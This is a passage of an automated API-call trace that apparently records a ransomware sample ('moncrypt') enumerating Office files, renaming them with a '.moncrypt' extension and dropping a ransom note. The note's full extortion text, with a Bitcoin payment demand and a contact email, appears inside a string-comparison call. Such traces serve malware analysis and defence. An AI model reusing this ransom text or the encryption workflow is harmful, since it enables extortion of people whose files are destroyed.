hTemplateFile=0x0) returned 0x190 [0048.305] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.306] CloseHandle (hObject=0x190) returned 1 [0048.306] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.306] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.306] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.306] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.306] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.306] GlobalUnlock (hMem=0x44000c) returned 0 [0048.306] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.306] GlobalLock (hMem=0x440004) returned 0x557870 [0048.306] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.306] GlobalUnlock (hMem=0x44000c) returned 0 [0048.306] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.306] GlobalUnlock (hMem=0x440004) returned 0 [0048.306] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.307] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", cchWideChar=103, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 103 [0048.307] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 4 [0048.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.307] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.307] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.307] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.moncrypt")) returned 1 [0048.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.316] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.316] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x106f [0048.316] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.316] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x106f, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x106f, lpOverlapped=0x0) returned 1 [0048.318] GlobalLock (hMem=0x440004) returned 0x555860 [0048.318] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.318] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.318] GlobalUnlock (hMem=0x440004) returned 0 [0048.318] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.318] GlobalUnlock (hMem=0x44000c) returned 0 [0048.318] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.318] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.318] GlobalUnlock (hMem=0x44000c) returned 0 [0048.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.329] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.329] CloseHandle (hObject=0x190) returned 1 [0048.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.330] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.330] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.330] GlobalUnlock (hMem=0x44000c) returned 0 [0048.330] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.330] GlobalLock (hMem=0x440004) returned 0x557870 [0048.330] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.330] GlobalUnlock (hMem=0x44000c) returned 0 [0048.330] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.330] GlobalUnlock (hMem=0x440004) returned 0 [0048.330] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e136740, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e136740, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e136740, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.330] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.330] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.330] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.330] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.330] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.331] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.331] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.331] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.331] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.331] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.331] CloseHandle (hObject=0x190) returned 1 [0048.331] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.331] GetLastError () returned 0x12 [0048.331] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.331] GlobalLock (hMem=0x440004) returned 0x555860 [0048.331] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.331] GlobalUnlock (hMem=0x440004) returned 0 [0048.332] GlobalLock (hMem=0x440004) returned 0x555860 [0048.332] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.332] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.332] GlobalUnlock (hMem=0x440004) returned 0 [0048.332] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.332] GlobalUnlock (hMem=0x44000c) returned 0 [0048.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e136740, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e136740, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.332] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.332] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.332] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.332] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.332] GlobalUnlock (hMem=0x44000c) returned 0 [0048.332] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.332] GlobalLock (hMem=0x440004) returned 0x557870 [0048.332] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.332] GlobalUnlock (hMem=0x44000c) returned 0 [0048.332] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.332] GlobalUnlock (hMem=0x440004) returned 0 [0048.332] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.332] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e136740, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e136740, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.332] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.332] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.332] GlobalLock (hMem=0x440004) returned 0x555860 [0048.332] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.332] GlobalUnlock (hMem=0x440004) returned 0 [0048.333] GlobalLock (hMem=0x440004) returned 0x555860 [0048.333] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.333] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.333] GlobalUnlock (hMem=0x440004) returned 0 [0048.333] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.333] GlobalUnlock (hMem=0x44000c) returned 0 [0048.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.333] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e136740, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e136740, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e136740, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.333] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.333] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.333] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.333] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.333] GlobalUnlock (hMem=0x44000c) returned 0 [0048.333] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.333] GlobalLock (hMem=0x440004) returned 0x557870 [0048.333] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.333] GlobalUnlock (hMem=0x44000c) returned 0 [0048.333] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.333] GlobalUnlock (hMem=0x440004) returned 0 [0048.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.333] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML.moncrypt", cAlternateFileName="OUTLOO~1.MON")) returned 1 [0048.333] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.333] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.333] GlobalLock (hMem=0x440004) returned 0x555860 [0048.333] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.333] GlobalUnlock (hMem=0x440004) returned 0 [0048.333] GlobalLock (hMem=0x440004) returned 0x555860 [0048.333] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.333] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.333] GlobalUnlock (hMem=0x440004) returned 0 [0048.334] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.334] GlobalUnlock (hMem=0x44000c) returned 0 [0048.334] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.334] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.334] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.334] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.334] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.334] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.334] GlobalUnlock (hMem=0x44000c) returned 0 [0048.334] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.334] GlobalLock (hMem=0x440004) returned 0x557870 [0048.334] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.334] GlobalUnlock (hMem=0x44000c) returned 0 [0048.334] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.334] GlobalUnlock (hMem=0x440004) returned 0 [0048.334] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.334] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.334] GetLastError () returned 0x12 [0048.334] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.334] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0048.335] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.335] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.335] GlobalLock (hMem=0x440004) returned 0x555860 [0048.335] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.335] GlobalUnlock (hMem=0x440004) returned 0 [0048.335] GlobalLock (hMem=0x440004) returned 0x555860 [0048.335] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.335] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.335] GlobalUnlock (hMem=0x440004) returned 0 [0048.335] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.335] GlobalUnlock (hMem=0x44000c) returned 0 [0048.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.335] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaecff, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms.moncrypt", cAlternateFileName="PKEYCO~1.MON")) returned 1 [0048.335] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.335] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.335] 